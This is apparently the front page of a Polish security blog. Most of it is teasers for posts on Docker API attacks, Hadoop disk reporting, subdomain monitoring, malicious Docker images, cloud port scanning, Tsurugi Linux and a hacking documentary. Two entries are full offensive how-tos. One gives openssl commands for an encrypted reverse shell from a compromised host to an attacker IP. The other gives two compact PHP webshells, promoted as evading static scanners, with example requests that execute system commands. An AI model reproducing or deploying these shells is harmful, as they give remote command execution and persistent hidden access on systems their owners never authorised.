W

pierwszej części poznaliśmy możliwości zaatakowania niezabezpieczonych API REST daemonów Docker. W tej części dokończymy kilka aspektów powiązanych z poprzednimi metodami. Po pierwsze nie musimy wykonywać wszystkich poleceń za pomocą stricte żądań HTTP – były one wykonane, aby przekazać Czytelnikowi widzę, jak to wygląda z niższego poziomu. Docker posiada własną wersję klienta przeznaczoną do takiej komunikacji. Dlaczego jeśli wskażemy mu zdalny host możemy wydawać wszystkie polecenia za pomocą lokalnego klienta.
[ czytaj całość… ]

P

odczas raportowania zużycia blokowej pamięci masowej na klastrze Hadoop uruchamiane jest polecenie systemu Linux: du -sk /dysk/pula-bloków. Może to powodować bardzo dużo żądań I/O oraz zwiększone obciążenie na dyskach, które posiadają bardzo wiele plików i są aktualnie utylizowane przez zadania chodzące na klastrze. Nie jest to najbardziej efektywny sposób odpytywania o zajęte miejsce szczególnie kiedy w tym czasie zasoby te powinny być przyznane na inne zadania. W wielu przypadkach może dojść do zakleszczania kiedy przetwarzanie i raportowanie jest opóźnione ze względu nałożenie się czasów wykonania tych operacji na siebie. W przypadku systemu Linux można bardzo prosto podmienić polecenie du na df – jednak w samym oprogramowaniu dystrybucji Hadoop bez aktualizacji do wyższej wersji nie jest to możliwe.
[ czytaj całość… ]

K

to ma informację ten ma władzę. Jeśli pamiętamy serwis umożliwiający nam rekonesans przez listę certyfikatów, czy innego tego typu rozwiązania – to możemy dojść do wniosku, że wszystkie te rozwiązania mają opóźnienia w czasie. No chyba, że będziemy codziennie wykonywać z nich zrzut danych i porównywać różnicę, ale to może być trochę czasochłonne. Czy istnieje możliwość stworzenia prostego mechanizmu, który będzie w czasie rzeczywistym śledził dla nas pojawienie się domen lub subdomen będących w centrum naszego zainteresowania ?
[ czytaj całość… ]

D

ocker jako jedno z rozwiązań dla tworzenia kontenerów zyskał ogromną popularność w ciągu kilku ostatnich lat i stał się nowym sposobem pakowania, dostarczania i wdrażania aplikacji. Niestety, jeśli dana technologia się szybko rozwija i jest szeroko adoptowana przez społeczność, staje się również cennym celem dla adwersarzy. Na początku pojawiły się złośliwe obrazy. Były one umieszczane w publicznych rejestrach. Jeśli użytkownik sam lub za namową cyberprzestępcy skłonił się do skorzystania z takiego obrazu w rzeczywistości pobierał i wykonywał złośliwe ładunki (np. koparki kryptowalut), umożliwiał wejście przez tylną furtkę (ang. backdoor), przeszukiwanie logów dla poufnych informacji, czy dostęp do systemu plików hosta z kontenera.
[ czytaj całość… ]

Z

ałóżmy, że posiadamy wiele projektów u publicznego dostawcy chmury obliczeniowej. Jeśli pracują na nich różni użytkownicy może dojść do sytuacji, w której zostanie otwartych zbyt wiele portów do danej usługi. Aby posiadać kontrolę nad tym, co nowego pojawia się w projektach można m.in. systematycznie skanować ich adresy IP. Jednak, aby cały proces nie trwał za długo nawet dla dużej ilości projektów można go zrównoleglić. Na pomoc przychodzi nam już znany parallel. Na początek musimy stworzyć listę projektów w formacie CSV:
[ czytaj całość… ]

T

surugi Linux jest dystrybucją typu DFIR (ang. Digital Forensic in Incident Response), czyli coś dla specjalistów informatyki śledczej zajmujących się wsparciem reakcji na incydenty. Został stworzony przez weteranów takich dystrybucji, jak Deft oraz Blacktrack jako w pełni darmowy, niezależny od komercyjnych marek projekt. Jego głównym celem jest dzielenie się wiedzą i „oddawanie jej społeczności”. Jego nazwa – Tsurugi (剣) – oznacza legendarny japoński miecz z podwójnym ostrzem używany przez starożytnych japońskich mnichów. Został podzielony na trzy typy:
[ czytaj całość… ]

T

he Secret History of Hacking to film dokumentalny z 2001 roku, który koncentruje się na phreakingu, hackingu oraz inżynierii społecznej, które miały swój rozkwit w latach 70. i 90. Nagrania archiwalne opatrzone są komentarzami osób, które w taki czy inny sposób były ściśle zaangażowane w te sprawy. Film zaczyna się od przeglądu koncepcji wczesnych dni zjawiska phreakingu, w których zawarte są anegdoty o przygodach z telefonami opowiadane przez Johna Drapera oraz Denny Teresiego (dzwonienie dla zabawy do innych państw; inżynieria społeczna na pracownikach firm telefonicznych). Wszystko zaczęło się od rozwoju linii telefonicznych i wykonywania darmowych rozmów w czasach gdzie możliwość wykonywania połączeń była luksusem. Wszystko to za pomocą gwizdka z płatków śniadaniowych, umiejętnym gwizdaniu do słuchawki, czy użyciu gadżetu o nazwie blue box.

Druga część filmu w komentarzu Steve’a Wozniaka przechodzi od phreakingu (chociaż Wozniak również brał w nim udział poprzez rekonstrukcję blue boksa Drapera) do hobbistycznego hackowania sprzętu komputerowego. Ukazane są doświadczenia członków klubu komputerowego Homebrew (Homebrew Computer Club), na forum którego wymieniane były pierwsze doświadczenia z osobistymi komputerami takimi jak Altair 8800. To na podstawie eksperymentów z tych spotkań Steve Wozniak stworzył komputer Apple I oraz Apple II udowadniając, że bystra jednostka o innym spojrzeniu może pokonać wielkie korporacje. Hacking odnoszący się do bezpieczeństwa komputerowego oraz inżynierii społecznej dotyczą głównie doświadczeń Kevina Mitnicka. Oprócz jego dokonań w ramach włamań do różnych sieci poruszany jest temat ewolucji internetu: z otwartej sieci, w sieć biznesu, gdzie hackerzy już nie byli mile widziani i określani przez FBI terminem cyberprzestępców. Wzrost obaw społeczeństwa przed phreakowaniem oraz hackowaniem był pompowany głównie przez media. Film WarGames oraz dziennikarskie doniesienia pod postacią artykułów: „Secrets of the Little Blue Box”, czy „Cyberspace’s Most Wanted” tylko napędzały obawy i wymuszały na organach ścigania podejmowanie czasami radykalnych kroków. Poza trzema głównymi bohaterami możemy usłyszeć jeszcze komentarze tych osób: Denny Teresi, Mike Gorman, Steven Levy, Ron Rosenbaum, Paul Loser, Lee Felsenstein, Jim Warren, Johnathan Littman, John Markoff oraz Ken McGuire.

Więcej informacji: Hacker Documentary, The Secret History of Hacking

Skoro wszędzie dzisiaj mamy szyfrowanie – wypada, aby powłoki zwrotne również były szyfrowane. W celu uruchomienia serwera do nasłuchu należy wygenerować klucz oraz certyfikat na maszynie (o IP: 1.2.3.4) służącej do ataku:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

Odpalenie serwera:

openssl s_server -quiet -key key.pem -cert cert.pem -port 8080

Na atakowanej maszynie, na której mamy możliwość RCE (ang. Remote Code Execution) wydajemy polecenie:

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 \
| openssl s_client -quiet -connect 1.2.3.4:8080 > /tmp/s; rm /tmp/s

Więcej informacji: RevSSL

Nano jest małym webshellem zakodowanym w technice code golf, aby być bardziej niewykrywalnym, a zarazem wydajnym:

<?=$_GET[p]==_&&$_GET[f]($GET_[c]);

Jego zaletami są: tylko 35 bajtów rozmiaru; niewykrywalny przez skanery kodu statycznego; obsługuje uwierzytelnianie. Przykład użycia:

http://host.pl/nano.php?f=function&c=command&p=password

Gdzie: f = funkcja ; c = komenda; p = hasło
Na przykład poniższe żądnie HTTP wykona polecenie ls:

http://host.pl/nano.php?f=system&c=ls&p=password

Oprócz Nano jest jeszcze Ninja:

<?=$x=explode('~',base64_decode(substr(getallheaders()['x'],1)));@$x[0]($x[1]);

Jego zaletami są: tylko 93 bajtów rozmiaru; trudny do wykrycia. Przykład użycia:

curl -H 'x: xc3lzdGVtfmxz' http://host.pl/nano.php

Wydaje się trochę skomplikowane, ale jeśli chcemy wykonać polecenie system(ls) to zapisujemy je jako ciąg: system~ls następnie kodujemy go w base64, czyli: c3lzdGVtfmxz – dodajemy jeden znak x przed zakodowanym ciągiem: xc3lzdGVtfmxz i wysyłamy w żądaniu HTTP jako nagłówek x.

Więcej informacji: Nano

I

nernet to wodospad cieknących danych. W mojej pierwszej serii Necronomicon ( część I oraz II) mogliśmy się o tym przekonać na przykładzie skracarek adresów URL. Dzisiaj zajmiemy się serwisami oferującymi miejsce na repozytoria kodu. Ale od początku. Jakieś dziesięć lat temu powstał ruch DevOps – przechodząc przez różne etapy rozwoju dołączono do niego kolejny człon – DevSecOps. Upraszczając: jest to ruch, który osadza w cykl życia oprogramowania procesy bezpieczeństwa. Jego braki lub luki proceduralne są częstym i w dużej mierze niedocenianym wektorem zagrożeń dla wielu firm i organizacji.
[ czytaj całość… ]